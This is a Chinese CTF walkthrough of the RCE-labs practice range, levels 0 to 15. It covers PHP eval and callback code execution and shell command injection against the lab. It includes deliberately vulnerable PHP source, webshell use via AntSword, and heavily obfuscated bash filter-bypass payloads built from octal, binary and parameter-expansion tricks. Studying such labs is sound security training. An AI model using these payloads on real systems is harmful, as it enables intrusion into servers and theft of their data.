RCE-LABS

level-0

打开环境

这关flag是直接显示在界面上,这一关主要是探姬介绍一下这个东西

我们来分析一波这个代码

前面还有一小段是

<?php  include ("get_flag.php");

包含了一个文件get_flag.php

然后定义了一个code变量

变量里面是一串字符串包含flag.php这个文件后面是输出flag这个变量

\是保证转义防止变量定义失败

定义了一个bash变量输出linux的指令

eval()将其中代码当作php运行

system()是shell命令的运行函数

大概就是这样,直接交flag了

level-1

方法一

打开环境

这里通过post请求发送了一个参数a并且将其当作php代码处理

这里直接cat就可以了

上面有告诉我们flag所在位置

直接传参

查看源码得到flag

好家伙是错的flag

那就用ls指令看下什么情况

再看下上一级目录

也是看见flag了,直接cat

方法二

这里这个语句其实也是一句话木马

可以直接使用蚁剑连接

直接进去找到flag

level-2

打开环境

这里需要分析一大串代码

这里先把代码复制过来,截图不是很好看

<?php
include ("get_flag.php");
global $flag;

session_start(); // 开启 session
/*
# -- coding: utf-8 --
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : PHP代码执行函数 ---

除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数,PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。

在该关卡中,你将会从能够执行代码的PHP函数中抽取一个,你需要填充函数的内容来执行某些代码以获取flag(tip:flag存储在 $flag 中,当然你也可以尝试其他方法)。

*/
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code
";
eval($code);
}

function get_fun(){

$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];

if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}

$random_func = $_SESSION['random_func'];

$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);

echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。
";

return $_SESSION['random_func'];
}

function start($act){

$random_func = get_fun();

if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}

if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(FILE);

?>

首先包含一个get_flag.php文件

然后规定了一个全局变量$flag

接着定义了一个hello_ctf的函数,有两个变量

先突破函数作用域限制,让其函数内部的$flag关联到全局变量

将两个变量的值拼接然后传入$code变量里

最后再使用eval函数将变量code当作php代码执行

然后定义了一个get_func函数

定义了一个func列表

这个就是一个随机的函数调用

再定义了一个start函数

后面又解释这里就不再阐述

下面是输入submit就可以得到调用的函数

调用的是array_reduce函数

这个函数好像没见过,去搜一下看看

array_reduce(array $array, callable $callback [, mixed $initial = NULL ])

第一个是数组,第二个是回调函数,后面的是可以选择初始值

这里来构建一个payload

直接使用print_r来输出变量

这里有点疑惑,但不知道认知的对不对,这里的初始值就是$flag,因为我这里数组是空的,如果没有初始值的话会返回null

但是这里直接返回了flag,有点困惑,看了下应该是这样,但不知道为什么要这样

这里是一些官方的wp

函数

说明

示例代码

${}

用于复杂的变量解析,通常在字符串内用来解析变量或表达式。可以配合 eval 或其他动态执行代码的功能,用于间接执行代码。

eval('${flag}');

eval()

用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。

eval('echo $flag;');

assert()

测试表达式是否为真。PHP 8.0.0 之前,如果 assertion 是字符串,将解释为 PHP 代码并通过 eval() 执行。PHP 8.0.0 后移除该功能。

assert(print_r($flag));

call_user_func()

用于调用回调函数,可以传递多个参数给回调函数,返回回调函数的返回值。适用于动态函数调用。

call_user_func('print_r', $flag);

create_function()

创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。自 PHP 7.2.0 起被_废弃_,并自 PHP 8.0.0 起被_移除_。

create_function('$a', 'echo $flag;')($a);

array_map()

将回调函数应用于数组的每个元素,返回一个新数组。适用于转换或处理数组元素。

array_map(print_r($flag), $a);

call_user_func_array()

调用回调函数,并将参数作为数组传递。适用于动态参数数量的函数调用。

call_user_func_array(print_r($flag), array());

usort()

对数组进行自定义排序,接受数组和比较函数作为参数。适用于根据用户定义的规则排序数组元素。

usort($a,print_r($flag));

array_filter()

过滤数组元素,如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素。

array_filter($a,print_r($flag));

array_reduce()

迭代一个数组,通过回调函数将数组的元素逐一减少到单一值。接受数组、回调函数和可选的初始值。

array_reduce($a,print_r($flag));

preg_replace()

执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。依赖 /e 模式,该模式自 PHP7.3 起被取消。

preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)});

ob_start()

ob_start — 打开输出控制缓冲,可选回调函数作为参数来处理缓冲区内容。

ob_start(print_r($flag));

level-3

打开环境

是一个非常简单的php代码

这里用post传参传了一个a进去然后调用了system函数

这里可以直接执行命令

先找一下flag

直接cat就可以了

level-4

打开环境

也是一个简单的php代码

看样子是一个命令注入

这里是使用get传参之后调用hello_server函数,进行ping

我们直接构造payload找一下flag

直接cat

level-5

打开环境

这里看来是一些绕过的学习,看一看

这里尝试下下面三个没用过的过滤

绕过一下看看

这个是[]这个是匹配一个集合里的所有字符

[^]绕过这个相当于补集,取反绕过

emmmm{}这个没有试验出来

level-6

打开环境

又是一个绕过

但是这过滤的死的有点过分了

这里没有过滤通配符号?

但是这里需要了解一个东西?只能用来匹配路劲,不能用来匹配命令

但是cat实际上也就是一个程序,所有我们只需要去找到cat所在的位置就可以了

可以去kali里找一找

一般实在/bin文件里面

进去里面使用通配符看一下这一串匹配哪些东西

匹配的东西有点多了

这里可以再找找有些什么可以替代cat的命令

这里使用下官方的wp

命令

描述

cat

从第一行开始显示内容,并将所有内容输出

tac

从最后一行倒序显示内容,并将所有内容输出

more

根据窗口大小,一页一页地显示文件内容

less

根据窗口大小,显示文件内容,可以使用键盘上的 [Pg Dn] 和 [Pg Up] 翻页

head

用于显示文件的头几行

tail

用于显示文件的尾几行

nl

类似于 cat -n,显示时输出行号

tailf

类似于 tail -f,实时显示文件尾部内容

sort

读取并排序文件内容

od

以二进制的方式读取文件内容

vi

一种编辑器,能查看文件内容

vim

一种编辑器,能查看文件内容

uniq

过滤重复行,能查看文件内容

file -f

显示文件类型信息,若出错会报告具体内容

这里里面包含a的还有tailf,head,tac但是tac不能用

匹配一下其它两个看看

也是没看见tailf这个命令只有tail -f

head也是没有

这里去看了眼wp发现可以使用base64来输出

这里加上数字匹配也是只有base64

base64使用方式直接base64加文件就可以了

这里构造payload

解码一下

level-7

打开环境

看来这里是空格过滤专场,还有一个关键字绕过

直接绕过就可以了

level-8

打开环境

这里看来是一个无回显rce还告诉了我们原理

就是我们运行命令后的输出,并未在标准输出返回,而是被重定向到了/dev/null里

在/dev/null的文件,也就是空设备会被直接丢弃掉

这里解释一下stdout和stderr

stdout是正常输出文件描述符1,比如我们执行的命令结果

stderr是报错输出文件描述符2,就是一些运行的错误信息

所以为什么加上2>&1就无法回显报错信息

因为将报错信息重定向到·正常输出中,然后又定向到空设备丢弃,就形成了无回显

这里可以使用;将后面的重定向给截断

这里需要了解一个问题>重定向符号需要联合其它命令来一起使用

这里加上;相当于cat /flag;>dev/null后面就相当于是执行一个空命令然后输入到/dev/null里

所有可以截断

构造payload

level-9

打开环境

这里是把字母还有一堆符号给过滤了,题目也提示说要通过八进制转义

这里使用工具来将我们的ASCLL字符变成八进制

ls

这里直接传进去

再看一下上级目录

57是\的八进制

直接去cat,一样的进行八进制转义就ok了

level-10

打开环境

可以看见这里过滤一堆东西

字母大小写,数字过滤了2-9还有一堆符号

这里题目也提示说要使用二进制

题目提示说使用$((2#binary))可以把二进制转换为十进制

这里先来看看这串符号是什么意思

$(( ))这是bash的一个算术展开语法

中间前面是进制后面是二进制的数字

最后得到的计算结果是十进制的

对于2的绕过可以用1向左移一位然后就是2了

这里解释一下移位就是将一个数字变成二进制然后移动

00000001是1的二进制左移一位右边补0得到00000010这个就是2

然后再使用八进制转义来得到命令

构造ls的pyload

$0<<<$'\$(($((1<<1))#10011010))\$(($((1<<1))#10100011))'

记得url编码一下,这个可以直接用脚本生成,这里主要是理解一下<<<这个符号

相当于是将后面的字符串传入$0中当作命令执行,$0表示当前的一个shell的名称

这里在虚拟机里演示一下,脚本里生成的还有一个

脚本在靶场里面有告诉

$0<<<$0<<<$'\$(($((1<<1))#10011010))\$(($((1<<1))#10100011))'

其实是一样的

这里后面那一串是被当作字符串输出出来

再加上前面的就可以执行命令了

执行的就是一个ls命令

直接执行

查看上一级目录

%240%3c%3c%3c%240%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24((%24((1%3c%3c1))%2310011010))%5c%5c%24((%24((1%3c%3c1))%2310100011))%5c%5c%24((%24((1%3c%3c1))%23101000))%5c%5c%24((%24((1%3c%3c1))%23111001))%5c%27

直接去cat

%240%3c%3c%3c%240%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24((%24((1%3c%3c1))%2310001111))%5c%5c%24((%24((1%3c%3c1))%2310001101))%5c%5c%24((%24((1%3c%3c1))%2310100100))%5c%5c%24((%24((1%3c%3c1))%23101000))%5c%5c%24((%24((1%3c%3c1))%23111001))%5c%5c%24((%24((1%3c%3c1))%2310010010))%5c%5c%24((%24((1%3c%3c1))%2310011010))%5c%5c%24((%24((1%3c%3c1))%2310001101))%5c%5c%24((%24((1%3c%3c1))%2310010011))%5c%27

level-11

打开环境

这里也是一样的直接使用脚本来绕过

这里可以看见1是被过滤了

可以使用{##}来替代1的位置

去看看为什么

${##}是${#*#}的简写

这里拆分做两个来看

$#这个是匹配一个脚本或者函数里的参数的多少

如果没有参数默认为0

第二个#这个是一个模式匹配符,用来计算变量值的字符串长度

如过参数有3个就是$#=3字符串长度就是1

如果是0字符串长度也是1

所有可以使用${##}绕过1

这里也是直接使用脚本生成

$0<<<$0<<<$'\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\$(($((${##}<<${##}))#${##}0${##}000${##}${##}))'

然后使用post传参就不用url编码了

看上一级目录

$0<<<$0<<<$'\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\$(($((${##}<<${##}))#${##}0${##}000${##}${##}))\$(($((${##}<<${##}))#${##}0${##}000))\$(($((${##}<<${##}))#${##}${##}${##}00${##}))'

直接cat

level-12

打开环境

这里也是可以看见数字字母啥的一个都没有了

这里也是可以直接使用脚本

这里直接查看上一级目录了

${!#}<<<${!#}<<<$'\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}${##}${##}))\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))'

但是我们需要知道这是怎么一回事

这里使用到一个新东西${!xxxx}

这个是一个简介扩展,简单说就是可以通过一个变量访问到这个变量的值

这里简单写一个bash脚本看一下

这里设置a的变量值为0

然后使用简介扩展来输出这个变量的值

运行看一下

这里就是把b的值当作变量名

所有可以构造${!#}就是$0

因为$#是参数个数没有就是0

直接cat

${!#}<<<${!#}<<<$'\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))'

level-13

打开环境

这里一样可以使用脚本来做

=$(())&&${!}<<<${!__}<<<$'\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(())\$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))'

记得使用url编码一下

这里也告诉我们绕过方法了,先去了解一下取反的本质

取反就是把一个数的二进制0变成1,1变成0

再在前面加一个负号

比如0的二进制00000000变成11111111

这个是一个补码

这里再了解一下补码,正数补码就是直接加0

0的补码直接定义为全0在8位补码里就是00000000

负数的补码是它对应的正数的取反加1

~1=11111110

+1

11111111就是-1的补码

最后得到的就是-1

这里来一个数学本质上的取反

~x=-x-1

这里用kali演示一下,$(())就是0

那么要构造1

我们就可以构造出来-2然后再取反就是1

这里会直接识别为-1-1就是-2

再取反

其它的也是一样的构造方法,这里就不演示了

这里还需要定义一个__变量为0为了构造出来$0

本质和上一题是一样的

直接使用脚本

直接cat

=$(())&&${!}<<<${!__}<<<$'\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(())\$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))'

编码一下

level-14

打开环境

就俩单词说太长了

题目提示说是7字符的rce

有点坑,这里没有显示出参数来

虽然好像是有无参数的rce但是这题是有参数的,是去看人家的wp才发现有个参数1

这里通过strlen函数来检查我们传入的参数的长度,这里是不能超过7字符

可以直接使用通配符来压缩

cat /f*

刚刚好7个

level-15

打开环境

这个代码变复杂了一点

先读一下

定义了一个sandbox变量是/www/sandbox/拼接上md5加密(orange加用户ip)

然后根据上面的用户ip那一串创建一个文件夹

然后进去这个文件夹

上传一个参数cmd限制长度为5

然后使用exec函数执行这个命令,但是我们知道exec这个函数执行是相当于没有回显的只会回显最后一行

而如果传参数reset就删除文件夹

简单来说就是一个用户一个文件夹,保持独立以免相互影响

这里需要先来了解一点linux的指令

首先两个重定向符号

>会覆盖原有的内容,如果不存在这个文件会先创造文件
>>会加在原有的内容后面

通配符号

*当直接输入这个东西的时候,会把第一个文件名字当作指令,后面的当作参数处理

列目录

ls会自动换行可能导致命令出错
dir不会自动换行,还会自动补齐空格

这里先随便弄一点文件进去

再传入dir

然后按照时间排序全部传入0然后再执行命令

levle-16

level-17

posted @ 2025-05-08 22:31  crook666  阅读(459)  评论(0)    收藏  举报